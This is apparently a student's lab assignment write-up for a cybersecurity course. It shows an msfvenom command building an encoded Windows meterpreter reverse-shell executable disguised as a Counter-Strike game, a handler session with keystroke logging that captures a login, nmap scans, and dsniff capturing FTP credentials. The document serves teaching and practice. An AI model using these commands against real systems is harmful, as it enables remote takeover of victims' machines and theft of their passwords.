

Let's Upgrade Cyber Security Essentials

Day – 6 Assignment – 2

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1. (i) Creating Payload For Windows

382	windows/meterpreter/reverse_ipv6_tcp	manual	No	Windows
	Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)			
383	windows/meterpreter/reverse_named_pipe	manual	No	Windows
	Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager			
384	windows/meterpreter/reverse_nonx_tcp	manual	No	Windows
	Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)			
385	windows/meterpreter/reverse_ord_tcp	manual	No	Windows
	Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)			
386	windows/meterpreter/reverse_tcp	manual	No	Windows
	Meterpreter (Reflective Injection), Reverse TCP Stager			
387	windows/meterpreter/reverse_tcp_allports	manual	No	Windows
	Meterpreter (Reflective Injection), Reverse All-Port TCP Stager			
388	windows/meterpreter/reverse_tcp_dns	manual	No	Windows
	Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)			
389	windows/meterpreter/reverse_tcp_rc4	manual	No	Windows
	Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)			
390	windows/meterpreter/reverse_tcp_rc4_dns	manual	No	Windows
	Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, DNS, Metasm)			
391	windows/meterpreter/reverse_tcp_uuid	manual	No	Windows
	Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support			
392	windows/meterpreter/reverse_winhttp	manual	No	Windows
	Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)			
393	windows/meterpreter/reverse_winhttps	manual	No	Windows
	Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)			
394	windows/meterpreter/bind_named_pipe	manual	No	Windows
	Meterpreter Shell, Bind Named Pipe Inline			
395	windows/meterpreter/bind_tcp	manual	No	Windows
	Meterpreter Shell, Bind TCP Inline			

```
root@ghost:~# msfvenom -p windows/meterpreter/reverse_tcp -f exe --platform windows -a x86 -e x86/shikata_ga_nai LHOST=192.168.0.103 LPORT=54321 -o /var/www/html/CounterStrike/CS-G0.exe
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of exe file: 73802 bytes
Saved as: /var/www/html/CounterStrike/CS-G0.exe
root@ghost:~#
```

(ii) Transfer the payload to victim's machine

Index of /CounterStrike

Name	Last modified	Size	Description
Parent Directory	-	-	-
CS-GO.exe	2020-08-30 22:31 72K		
Counter.exe	2020-08-30 21:59 72K		

Apache/2.4.46 (Ubuntu Server at 192.168.0.10) Port 80

(iii) Exploit the victim's machine

```
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.0.103
LHOST => 192.168.0.103
msf5 exploit(multi/handler) > set LPORT 54321
LPORT => 54321
msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

  Name  Current Setting  Required  Description
  ----  -
  LHOST  192.168.0.103    yes       The listen address (an interface may be specified)
  LPORT  54321            yes       The listen port

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.0.103    yes       The listen address (an interface may be specified)
  LPORT     54321            yes       The listen port

Exploit target:

  Id  Name
  --  -
  0   Wildcard Target
```

```
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.0.103:54321
[*] Sending stage (176195 bytes) to 192.168.0.105
[*] Meterpreter session 1 opened (192.168.0.103:54321 -> 192.168.0.105:50215) at 2020-08-30 22:41:20 -0700

meterpreter > █
```

```

meterpreter > keyscan_start
Starting the keystroke sniffer ...
meterpreter > keyscan_dump
Dumping captured keystrokes...
facebook.com<CR>
my<Shift>_email<Right Shift>@testmail.com<Shift><Shift><Shift><Shift><Shift><Shift><Shift><Shift><Shift><Shift><Shift>My <Shift>Strong <Shift>Password <Right Shift>@ 1234

meterpreter > keyscan_stop
Stopping the keystroke sniffer...
meterpreter > screensh
screenshare screenshot
meterpreter > screenshot
Screenshot saved to: /root/IsignhaE.jpeg
meterpreter >

```

2. (i) Create an FTP server
- (ii) Access an FTP server from windows command prompt

IP = 192.168.0.102

```

Nmap scan report for 192.168.0.100
Host is up (0.057s latency).
Not shown: 999 closed ports
PORT      STATE      SERVICE VERSION
5060/tcp   filtered  sip
MAC Address: D8:6C:02:AD:2A:53 (Huaqin Telecom Technology)

Nmap scan report for 192.168.0.101
Host is up (0.020s latency).
All 1000 scanned ports on 192.168.0.101 are closed
MAC Address: 7C:6B:9C:2A:CE:19 (Guangdong Oppo Mobile Telecommunications)

Nmap scan report for 192.168.0.102
Host is up (0.00026s latency).
Not shown: 993 closed ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          Microsoft ftpd
80/tcp    open  http         Microsoft IIS httpd 10.0
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
2869/tcp   open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
3389/tcp   open  ms-wbt-server Microsoft Terminal Services
MAC Address: 08:00:27:71:C2:7F (Oracle VirtualBox virtual NIC)
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

```


IP = 192.168.0.107

```
Nmap scan report for 192.168.0.106
Host is up (0.00033s latency).
Not shown: 996 filtered ports
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds?
5357/tcp   open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
MAC Address: C0:E4:34:E7:4E:7D (Unknown)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.168.0.107
Host is up (0.00033s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds  Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
MAC Address: 08:00:27:E8:ED:C4 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
```

(iii) Mitm, Username & password of FTP transaction using wireshark and dsniff

Establish Communication:-

[illegible]

Getting the credentials:-

```
root@ghost:~# dsniff -i eth0
dsniff: listening on eth0
-----
08/31/20 01:50:59 tcp 192.168.0.107.50026 -> 192.168.0.102.21 (ftp)
USER Administrator
PASS 1234@abcd
```

THANK YOU